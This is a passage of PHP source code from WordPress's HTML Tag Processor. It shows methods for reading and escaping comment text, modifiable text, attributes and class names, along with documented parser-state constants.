	 * be modified. Namely, "bogus comments" of the form `<?not allowed in html>`
	 * will create a comment whose text content starts with `?`. Note that if
	 * that character were modified, it would be possible to change the node
	 * type.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null The comment text as it would appear in the browser or null
	 *                     if not on a comment type node.
	 */
	public function get_full_comment_text(): ?string {
		if ( self::STATE_FUNKY_COMMENT === $this->parser_state ) {
			return $this->get_modifiable_text();
		}

		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		switch ( $this->get_comment_type() ) {
			case self::COMMENT_AS_HTML_COMMENT:
			case self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT:
				return $this->get_modifiable_text();

			case self::COMMENT_AS_CDATA_LOOKALIKE:
				return "[CDATA[{$this->get_modifiable_text()}]]";

			case self::COMMENT_AS_PI_NODE_LOOKALIKE:
				return "?{$this->get_tag()}{$this->get_modifiable_text()}?";

			/*
			 * This represents "bogus comments state" from HTML tokenization.
			 * This can be entered by `<?` or `<!`, where `?` is included in
			 * the comment text but `!` is not.
			 */
			case self::COMMENT_AS_INVALID_HTML:
				$preceding_character = $this->html[ $this->text_starts_at - 1 ];
				$comment_start       = '?' === $preceding_character ? '?' : '';
				return "{$comment_start}{$this->get_modifiable_text()}";
		}

		return null;
	}

	/**
	 * Subdivides a matched text node, splitting NULL byte sequences and decoded whitespace as
	 * distinct nodes prefixes.
	 *
	 * Note that once anything that's neither a NULL byte nor decoded whitespace is
	 * encountered, then the remainder of the text node is left intact as generic text.
	 *
	 *  - The HTML Processor uses this to apply distinct rules for different kinds of text.
	 *  - Inter-element whitespace can be detected and skipped with this method.
	 *
	 * Text nodes aren't eagerly subdivided because there's no need to split them unless
	 * decisions are being made on NULL byte sequences or whitespace-only text.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "\x00Apples & Oranges" );
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "".
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "&#x13; \r\n\tMore" );
	 *     true  === $processor->next_token();                   // Text is "␤ ␤␉More".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "␤ ␤␉".
	 *     true  === $processor->next_token();                   // Text is "More".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 * @since 6.7.0
	 *
	 * @return bool Whether the text node was subdivided.
	 */
	public function subdivide_text_appropriately(): bool {
		if ( self::STATE_TEXT_NODE !== $this->parser_state ) {
			return false;
		}

		$this->text_node_classification = self::TEXT_IS_GENERIC;

		/*
		 * NULL bytes are treated categorically different than numeric character
		 * references whose number is zero. `&#x00;` is not the same as `"\x00"`.
		 */
		$leading_nulls = strspn( $this->html, "\x00", $this->text_starts_at, $this->text_length );
		if ( $leading_nulls > 0 ) {
			$this->token_length             = $leading_nulls;
			$this->text_length              = $leading_nulls;
			$this->bytes_already_parsed     = $this->token_starts_at + $leading_nulls;
			$this->text_node_classification = self::TEXT_IS_NULL_SEQUENCE;
			return true;
		}

		/*
		 * Start a decoding loop to determine the point at which the
		 * text subdivides. This entails raw whitespace bytes and any
		 * character reference that decodes to the same.
		 */
		$at  = $this->text_starts_at;
		$end = $this->text_starts_at + $this->text_length;
		while ( $at < $end ) {
			$skipped = strspn( $this->html, " \t\f\r\n", $at, $end - $at );
			$at     += $skipped;

			if ( $at < $end && '&' === $this->html[ $at ] ) {
				$matched_byte_length = null;
				$replacement         = WP_HTML_Decoder::read_character_reference( 'data', $this->html, $at, $matched_byte_length );
				if ( isset( $replacement ) && 1 === strspn( $replacement, " \t\f\r\n" ) ) {
					$at += $matched_byte_length;
					continue;
				}
			}

			break;
		}

		if ( $at > $this->text_starts_at ) {
			$new_length                     = $at - $this->text_starts_at;
			$this->text_length              = $new_length;
			$this->token_length             = $new_length;
			$this->bytes_already_parsed     = $at;
			$this->text_node_classification = self::TEXT_IS_WHITESPACE;
			return true;
		}

		return false;
	}

	/**
	 * Returns the modifiable text for a matched token, or an empty string.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * If a token has no modifiable text then an empty string is returned to
	 * avoid needless crashing or type errors. An empty string does not mean
	 * that a token has modifiable text, and a token with modifiable text may
	 * have an empty string (e.g. a comment with no contents).
	 *
	 * Limitations:
	 *
	 *  - This function will not strip the leading newline appropriately
	 *    after seeking into a LISTING or PRE element. To ensure that the
	 *    newline is treated properly, seek to the LISTING or PRE opening
	 *    tag instead of to the first text node inside the element.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Replaces NULL bytes (U+0000) and newlines appropriately.
	 *
	 * @return string
	 */
	public function get_modifiable_text(): string {
		$has_enqueued_update = isset( $this->lexical_updates['modifiable text'] );

		if ( ! $has_enqueued_update && ( null === $this->text_starts_at || 0 === $this->text_length ) ) {
			return '';
		}

		$text = $has_enqueued_update
			? $this->lexical_updates['modifiable text']->text
			: substr( $this->html, $this->text_starts_at, $this->text_length );

		/*
		 * Pre-processing the input stream would normally happen before
		 * any parsing is done, but deferring it means it's possible to
		 * skip in most cases. When getting the modifiable text, however
		 * it's important to apply the pre-processing steps, which is
		 * normalizing newlines.
		 *
		 * @see https://html.spec.whatwg.org/#preprocessing-the-input-stream
		 * @see https://infra.spec.whatwg.org/#normalize-newlines
		 */
		$text = str_replace( "\r\n", "\n", $text );
		$text = str_replace( "\r", "\n", $text );

		// Comment data is not decoded.
		if (
			self::STATE_CDATA_NODE === $this->parser_state ||
			self::STATE_COMMENT === $this->parser_state ||
			self::STATE_DOCTYPE === $this->parser_state ||
			self::STATE_FUNKY_COMMENT === $this->parser_state
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$tag_name = $this->get_token_name();
		if (
			// Script data is not decoded.
			'SCRIPT' === $tag_name ||

			// RAWTEXT data is not decoded.
			'IFRAME' === $tag_name ||
			'NOEMBED' === $tag_name ||
			'NOFRAMES' === $tag_name ||
			'STYLE' === $tag_name ||
			'XMP' === $tag_name
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$decoded = WP_HTML_Decoder::decode_text_node( $text );

		/*
		 * Skip the first line feed after LISTING, PRE, and TEXTAREA opening tags.
		 *
		 * Note that this first newline may come in the form of a character
		 * reference, such as `&#x0a;`, and so it's important to perform
		 * this transformation only after decoding the raw text content.
		 */
		if (
			( "\n" === ( $decoded[0] ?? '' ) ) &&
			( ( $this->skip_newline_at === $this->token_starts_at && '#text' === $tag_name ) || 'TEXTAREA' === $tag_name )
		) {
			$decoded = substr( $decoded, 1 );
		}

		/*
		 * Only in normative text nodes does the NULL byte (U+0000) get removed.
		 * In all other contexts it's replaced by the replacement character (U+FFFD)
		 * for security reasons (to avoid joining together strings that were safe
		 * when separated, but not when joined).
		 *
		 * @todo Inside HTML integration points and MathML integration points, the
		 *       text is processed according to the insertion mode, not according
		 *       to the foreign content rules. This should strip the NULL bytes.
		 */
		return ( '#text' === $tag_name && 'html' === $this->get_namespace() )
			? str_replace( "\x00", '', $decoded )
			: str_replace( "\x00", "\u{FFFD}", $decoded );
	}

	/**
	 * Sets the modifiable text for the matched token, if matched.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * Not all modifiable text may be set by this method, and not all content
	 * may be set as modifiable text. In the case that this fails it will return
	 * `false` indicating as much. For instance, it will not allow inserting the
	 * string `</script` into a SCRIPT element, because the rules for escaping
	 * that safely are complicated. Similarly, it will not allow setting content
	 * into a comment which would prematurely terminate the comment.
	 *
	 * Example:
	 *
	 *     // Add a preface to all STYLE contents.
	 *     while ( $processor->next_tag( 'STYLE' ) ) {
	 *         $style = $processor->get_modifiable_text();
	 *         $processor->set_modifiable_text( "// Made with love on the World Wide Web\n{$style}" );
	 *     }
	 *
	 *     // Replace smiley text with Emoji smilies.
	 *     while ( $processor->next_token() ) {
	 *         if ( '#text' !== $processor->get_token_name() ) {
	 *             continue;
	 *         }
	 *
	 *         $chunk = $processor->get_modifiable_text();
	 *         if ( ! str_contains( $chunk, ':)' ) ) {
	 *             continue;
	 *         }
	 *
	 *         $processor->set_modifiable_text( str_replace( ':)', '🙂', $chunk ) );
	 *     }
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders as “Eggs & Milk” in a browser, encoded as `<p>Eggs &amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs & Milk' );
	 *
	 *     // Renders as “Eggs &amp; Milk” in a browser, encoded as `<p>Eggs &amp;amp; Milk</p>`.
	 *     $processor->set_modifiable_text( 'Eggs &amp; Milk' );
	 *
	 * @since 6.7.0
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string $plaintext_content New text content to represent in the matched token.
	 * @return bool Whether the text was able to update.
	 */
	public function set_modifiable_text( string $plaintext_content ): bool {
		if ( self::STATE_TEXT_NODE === $this->parser_state ) {
			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				strtr(
					$plaintext_content,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				)
			);

			return true;
		}

		// Comment data is not encoded.
		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_HTML_COMMENT === $this->comment_type
		) {
			// Check if the text could close the comment.
			if ( 1 === preg_match( '/--!?>/', $plaintext_content ) ) {
				return false;
			}

			$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
				$this->text_starts_at,
				$this->text_length,
				$plaintext_content
			);

			return true;
		}

		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		switch ( $this->get_tag() ) {
			case 'SCRIPT':
				/**
				 * This is over-protective, but ensures the update doesn't break
				 * the HTML structure of the SCRIPT element.
				 *
				 * More thorough analysis could track the HTML tokenizer states
				 * and to ensure that the SCRIPT element closes at the expected
				 * SCRIPT close tag as is done in {@see ::skip_script_data()}.
				 *
				 * A SCRIPT element could be closed prematurely by contents
				 * like `</script>`. A SCRIPT element could be prevented from
				 * closing by contents like `<!--<script>`.
				 *
				 * The following strings are essential for dangerous content,
				 * although they are insufficient on their own. This trade-off
				 * prevents dangerous scripts from being sent to the browser.
				 * It is also unlikely to produce HTML that may confuse more
				 * basic HTML tooling.
				 */
				if (
					false !== stripos( $plaintext_content, '</script' ) ||
					false !== stripos( $plaintext_content, '<script' )
				) {
					return false;
				}

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'STYLE':
				$plaintext_content = preg_replace_callback(
					'~</(?P<TAG_NAME>style)~i',
					static function ( $tag_match ) {
						return "\\3c\\2f{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;

			case 'TEXTAREA':
			case 'TITLE':
				$plaintext_content = preg_replace_callback(
					"~</(?P<TAG_NAME>{$this->get_tag()})~i",
					static function ( $tag_match ) {
						return "&lt;/{$tag_match['TAG_NAME']}";
					},
					$plaintext_content
				);

				/*
				 * These don't _need_ to be escaped, but since they are decoded it's
				 * safe to leave them escaped and this can prevent other code from
				 * naively detecting tags within the contents.
				 *
				 * @todo It would be useful to prefix a multiline replacement text
				 *       with a newline, but not necessary. This is for aesthetics.
				 */
				$this->lexical_updates['modifiable text'] = new WP_HTML_Text_Replacement(
					$this->text_starts_at,
					$this->text_length,
					$plaintext_content
				);

				return true;
		}

		return false;
	}

	/**
	 * Updates or creates a new attribute on the currently matched tag with the passed value.
	 *
	 * This function handles all necessary HTML encoding. Provide normal, unescaped string values.
	 * The HTML API will encode the strings appropriately so that the browser will interpret them
	 * as the intended value.
	 *
	 * Example:
	 *
	 *     // Renders “Eggs & Milk” in a browser, encoded as `<abbr title="Eggs &amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs & Milk' );
	 *
	 *     // Renders “Eggs &amp; Milk” in a browser, encoded as `<abbr title="Eggs &amp;amp; Milk">`.
	 *     $processor->set_attribute( 'title', 'Eggs &amp; Milk' );
	 *
	 *     // Renders `true` as `<abbr title>`.
	 *     $processor->set_attribute( 'title', true );
	 *
	 *     // Renders without the attribute for `false` as `<abbr>`.
	 *     $processor->set_attribute( 'title', false );
	 *
	 * Special handling is provided for boolean attribute values:
	 *  - When `true` is passed as the value, then only the attribute name is added to the tag.
	 *  - When `false` is passed, the attribute gets removed if it existed before.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Fix: Only create a single update for multiple calls with case-variant attribute names.
	 * @since 6.9.0 Escapes all character references instead of trying to avoid double-escaping.
	 *
	 * @param string      $name  The attribute name to target.
	 * @param string|bool $value The new attribute value.
	 * @return bool Whether an attribute value was set.
	 */
	public function set_attribute( $name, $value ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		$name_length = strlen( $name );

		/**
		 * WordPress rejects more characters than are strictly forbidden
		 * in HTML5. This is to prevent additional security risks deeper
		 * in the WordPress and plugin stack. Specifically the following
		 * are not allowed to be set as part of an HTML attribute name:
		 *
		 *  - greater-than “>”
		 *  - ampersand “&”
		 *
		 * @see https://html.spec.whatwg.org/#attributes-2
		 */
		if (
			0 === $name_length ||
			// Syntax-like characters.
			strcspn( $name, '"\'>&</ =' ) !== $name_length ||
			// Control characters.
			strcspn(
				$name,
				"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F" .
				"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1A\x1B\x1C\x1D\x1E\x1F"
			) !== $name_length ||
			// Unicode noncharacters.
			wp_has_noncharacters( $name )
		) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Invalid attribute name.' ),
				'6.2.0'
			);

			return false;
		}

		/*
		 * > The values "true" and "false" are not allowed on boolean attributes.
		 * > To represent a false value, the attribute has to be omitted altogether.
		 *     - HTML5 spec, https://html.spec.whatwg.org/#boolean-attributes
		 */
		if ( false === $value ) {
			return $this->remove_attribute( $name );
		}

		if ( true === $value ) {
			$updated_attribute = $name;
		} else {
			$comparable_name = strtolower( $name );

			/**
			 * Escape attribute values appropriately.
			 *
			 * @see https://html.spec.whatwg.org/#attributes-3
			 */
			$escaped_new_value = in_array( $comparable_name, wp_kses_uri_attributes(), true )
				? esc_url( $value )
				: strtr(
					$value,
					array(
						'<' => '&lt;',
						'>' => '&gt;',
						'&' => '&amp;',
						'"' => '&quot;',
						"'" => '&apos;',
					)
				);

			// If the escaping functions wiped out the update, reject it and indicate it was rejected.
			if ( '' === $escaped_new_value && '' !== $value ) {
				return false;
			}

			$updated_attribute = "{$name}=\"{$escaped_new_value}\"";
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $name );

		if ( isset( $this->attributes[ $comparable_name ] ) ) {
			/*
			 * Update an existing attribute.
			 *
			 * Example – set attribute id to "new" in <div id="initial_id" />:
			 *
			 *     <div id="initial_id"/>
			 *          ^-------------^
			 *          start         end
			 *     replacement: `id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$existing_attribute                        = $this->attributes[ $comparable_name ];
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$existing_attribute->start,
				$existing_attribute->length,
				$updated_attribute
			);
		} else {
			/*
			 * Create a new attribute at the tag's name end.
			 *
			 * Example – add attribute id="new" to <div />:
			 *
			 *     <div/>
			 *         ^
			 *         start and end
			 *     replacement: ` id="new"`
			 *
			 *     Result: <div id="new"/>
			 */
			$this->lexical_updates[ $comparable_name ] = new WP_HTML_Text_Replacement(
				$this->tag_name_starts_at + $this->tag_name_length,
				0,
				' ' . $updated_attribute
			);
		}

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $comparable_name && ! empty( $this->classname_updates ) ) {
			$this->classname_updates = array();
		}

		return true;
	}

	/**
	 * Remove an attribute from the currently-matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name The attribute name to remove.
	 * @return bool Whether an attribute was removed.
	 */
	public function remove_attribute( $name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$name = strtolower( $name );

		/*
		 * Any calls to update the `class` attribute directly should wipe out any
		 * enqueued class changes from `add_class` and `remove_class`.
		 */
		if ( 'class' === $name && count( $this->classname_updates ) !== 0 ) {
			$this->classname_updates = array();
		}

		/*
		 * If updating an attribute that didn't exist in the input
		 * document, then remove the enqueued update and move on.
		 *
		 * For example, this might occur when calling `remove_attribute()`
		 * after calling `set_attribute()` for the same attribute
		 * and when that attribute wasn't originally present.
		 */
		if ( ! isset( $this->attributes[ $name ] ) ) {
			if ( isset( $this->lexical_updates[ $name ] ) ) {
				unset( $this->lexical_updates[ $name ] );
			}
			return false;
		}

		/*
		 * Removes an existing tag attribute.
		 *
		 * Example – remove the attribute id from <div id="main"/>:
		 *    <div id="initial_id"/>
		 *         ^-------------^
		 *         start         end
		 *    replacement: ``
		 *
		 *    Result: <div />
		 */
		$this->lexical_updates[ $name ] = new WP_HTML_Text_Replacement(
			$this->attributes[ $name ]->start,
			$this->attributes[ $name ]->length,
			''
		);

		// Removes any duplicated attributes if they were also present.
		foreach ( $this->duplicate_attributes[ $name ] ?? array() as $attribute_token ) {
			$this->lexical_updates[] = new WP_HTML_Text_Replacement(
				$attribute_token->start,
				$attribute_token->length,
				''
			);
		}

		return true;
	}

	/**
	 * Adds a new class name to the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to add.
	 * @return bool Whether the class was set to be added.
	 */
	public function add_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::ADD_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::ADD_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::ADD_CLASS;
		return true;
	}

	/**
	 * Removes a class name from the currently matched tag.
	 *
	 * @since 6.2.0
	 *
	 * @param string $class_name The class name to remove.
	 * @return bool Whether the class was set to be removed.
	 */
	public function remove_class( $class_name ): bool {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return false;
		}

		if ( self::QUIRKS_MODE !== $this->compat_mode ) {
			$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
			return true;
		}

		/*
		 * Because class names are matched ASCII-case-insensitively in quirks mode,
		 * this needs to see if a case variant of the given class name is already
		 * enqueued and update that existing entry, if so. This picks the casing of
		 * the first-provided class name for all lexical variations.
		 */
		$class_name_length = strlen( $class_name );
		foreach ( $this->classname_updates as $updated_name => $action ) {
			if (
				strlen( $updated_name ) === $class_name_length &&
				0 === substr_compare( $updated_name, $class_name, 0, $class_name_length, true )
			) {
				$this->classname_updates[ $updated_name ] = self::REMOVE_CLASS;
				return true;
			}
		}

		$this->classname_updates[ $class_name ] = self::REMOVE_CLASS;
		return true;
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::get_updated_html()
	 *
	 * @return string The processed HTML.
	 */
	public function __toString(): string {
		return $this->get_updated_html();
	}

	/**
	 * Returns the string representation of the HTML Tag Processor.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Shifts the internal cursor corresponding to the applied updates.
	 * @since 6.4.0 No longer calls subclass method `next_tag()` after updating HTML.
	 *
	 * @return string The processed HTML.
	 */
	public function get_updated_html(): string {
		$requires_no_updating = 0 === count( $this->classname_updates ) && 0 === count( $this->lexical_updates );

		/*
		 * When there is nothing more to update and nothing has already been
		 * updated, return the original document and avoid a string copy.
		 */
		if ( $requires_no_updating ) {
			return $this->html;
		}

		/*
		 * Keep track of the position right before the current tag. This will
		 * be necessary for reparsing the current tag after updating the HTML.
		 */
		$before_current_tag = $this->token_starts_at ?? 0;

		/*
		 * 1. Apply the enqueued edits and update all the pointers to reflect those changes.
		 */
		$this->class_name_updates_to_attributes_updates();
		$before_current_tag += $this->apply_attributes_updates( $before_current_tag );

		/*
		 * 2. Rewind to before the current tag and reparse to get updated attributes.
		 *
		 * At this point the internal cursor points to the end of the tag name.
		 * Rewind before the tag name starts so that it's as if the cursor didn't
		 * move; a call to `next_tag()` will reparse the recently-updated attributes
		 * and additional calls to modify the attributes will apply at this same
		 * location, but in order to avoid issues with subclasses that might add
		 * behaviors to `next_tag()`, the internal methods should be called here
		 * instead.
		 *
		 * It's important to note that in this specific place there will be no change
		 * because the processor was already at a tag when this was called and it's
		 * rewinding only to the beginning of this very tag before reprocessing it
		 * and its attributes.
		 *
		 * <p>Previous HTML<em>More HTML</em></p>
		 *                 ↑  │ back up by the length of the tag name plus the opening <
		 *                 └←─┘ back up by strlen("em") + 1 ==> 3
		 */
		$this->bytes_already_parsed = $before_current_tag;
		$this->base_class_next_token();

		return $this->html;
	}

	/**
	 * Parses tag query input into internal search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this class name to match.
	 *     @type string      $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 */
	private function parse_query( $query ) {
		if ( null !== $query && $query === $this->last_query ) {
			return;
		}

		$this->last_query          = $query;
		$this->sought_tag_name     = null;
		$this->sought_class_name   = null;
		$this->sought_match_offset = 1;
		$this->stop_on_tag_closers = false;

		// A single string value means "find the tag of this name".
		if ( is_string( $query ) ) {
			$this->sought_tag_name = $query;
			return;
		}

		// An empty query parameter applies no restrictions on the search.
		if ( null === $query ) {
			return;
		}

		// If not using the string interface, an associative array is required.
		if ( ! is_array( $query ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The query argument must be an array or a tag name.' ),
				'6.2.0'
			);
			return;
		}

		if ( isset( $query['tag_name'] ) && is_string( $query['tag_name'] ) ) {
			$this->sought_tag_name = $query['tag_name'];
		}

		if ( isset( $query['class_name'] ) && is_string( $query['class_name'] ) ) {
			$this->sought_class_name = $query['class_name'];
		}

		if ( isset( $query['match_offset'] ) && is_int( $query['match_offset'] ) && 0 < $query['match_offset'] ) {
			$this->sought_match_offset = $query['match_offset'];
		}

		if ( isset( $query['tag_closers'] ) ) {
			$this->stop_on_tag_closers = 'visit' === $query['tag_closers'];
		}
	}


	/**
	 * Checks whether a given tag and its attributes match the search criteria.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the given tag and its attribute match the search criteria.
	 */
	private function matches(): bool {
		if ( $this->is_closing_tag && ! $this->stop_on_tag_closers ) {
			return false;
		}

		// Does the tag name match the requested tag name in a case-insensitive manner?
		if (
			isset( $this->sought_tag_name ) &&
			(
				strlen( $this->sought_tag_name ) !== $this->tag_name_length ||
				0 !== substr_compare( $this->html, $this->sought_tag_name, $this->tag_name_starts_at, $this->tag_name_length, true )
			)
		) {
			return false;
		}

		if ( null !== $this->sought_class_name && ! $this->has_class( $this->sought_class_name ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Gets DOCTYPE declaration info from a DOCTYPE token.
	 *
	 * DOCTYPE tokens may appear in many places in an HTML document. In most places, they are
	 * simply ignored. The main parsing functions find the basic shape of DOCTYPE tokens but
	 * do not perform detailed parsing.
	 *
	 * This method can be called to perform a full parse of the DOCTYPE token and retrieve
	 * its information.
	 *
	 * @return WP_HTML_Doctype_Info|null The DOCTYPE declaration information or `null` if not
	 *                                   currently at a DOCTYPE node.
	 */
	public function get_doctype_info(): ?WP_HTML_Doctype_Info {
		if ( self::STATE_DOCTYPE !== $this->parser_state ) {
			return null;
		}

		return WP_HTML_Doctype_Info::from_doctype_token( substr( $this->html, $this->token_starts_at, $this->token_length ) );
	}

	/**
	 * Parser Ready State.
	 *
	 * Indicates that the parser is ready to run and waiting for a state transition.
	 * It may not have started yet, or it may have just finished parsing a token and
	 * is ready to find the next one.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_READY = 'STATE_READY';

	/**
	 * Parser Complete State.
	 *
	 * Indicates that the parser has reached the end of the document and there is
	 * nothing left to scan. It finished parsing the last token completely.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMPLETE = 'STATE_COMPLETE';

	/**
	 * Parser Incomplete Input State.
	 *
	 * Indicates that the parser has reached the end of the document before finishing
	 * a token. It started parsing a token but there is a possibility that the input
	 * HTML document was truncated in the middle of a token.
	 *
	 * The parser is reset at the start of the incomplete token and has paused. There
	 * is nothing more than can be scanned unless provided a more complete document.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_INCOMPLETE_INPUT = 'STATE_INCOMPLETE_INPUT';

	/**
	 * Parser Matched Tag State.
	 *
	 * Indicates that the parser has found an HTML tag and it's possible to get
	 * the tag name and read or modify its attributes (if it's not a closing tag).
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_MATCHED_TAG = 'STATE_MATCHED_TAG';

	/**
	 * Parser Text Node State.
	 *
	 * Indicates that the parser has found a text node and it's possible
	 * to read and modify that text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_TEXT_NODE = 'STATE_TEXT_NODE';

	/**
	 * Parser CDATA Node State.
	 *
	 * Indicates that the parser has found a CDATA node and it's possible
	 * to read and modify its modifiable text. Note that in HTML there are
	 * no CDATA nodes outside of foreign content (SVG and MathML). Outside
	 * of foreign content, they are treated as HTML comments.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_CDATA_NODE = 'STATE_CDATA_NODE';

	/**
	 * Indicates that the parser has found an HTML comment and it's
	 * possible to read and modify its modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_COMMENT = 'STATE_COMMENT';

	/**
	 * Indicates that the parser has found a DOCTYPE node and it's
	 * possible to read its DOCTYPE information via `get_doctype_info()`.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_DOCTYPE = 'STATE_DOCTYPE';

	/**
	 * Indicates that the parser has found an empty tag closer `</>`.
	 *
	 * Note that in HTML there are no empty tag closers, and they
	 * are ignored. Nonetheless, the Tag Processor still
	 * recognizes them as they appear in the HTML stream.
	 *
	 * These were historically discussed as a "presumptuous tag
	 * closer," which would close the nearest open tag, but were
	 * dismissed in favor of explicitly-closing tags.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_PRESUMPTUOUS_TAG = 'STATE_PRESUMPTUOUS_TAG';

	/**
	 * Indicates that the parser has found a "funky comment"
	 * and it's possible to read and modify its modifiable text.
	 *
	 * Example:
	 *
	 *     </%url>
	 *     </{"wp-bit":"query/post-author"}>
	 *     </2>
	 *
	 * Funky comments are tag closers with invalid tag names. Note
	 * that in HTML these are turn into bogus comments. Nonetheless,
	 * the Tag Processor recognizes them in a stream of HTML and
	 * exposes them for inspection and modification.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_FUNKY_COMMENT = 'STATE_WP_FUNKY';

	/**
	 * Indicates that a comment was created when encountering abruptly-closed HTML comment.
	 *
	 * Example:
	 *
	 *     <!-->
	 *     <!--->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_ABRUPTLY_CLOSED_COMMENT = 'COMMENT_AS_ABRUPTLY_CLOSED_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a CDATA node,
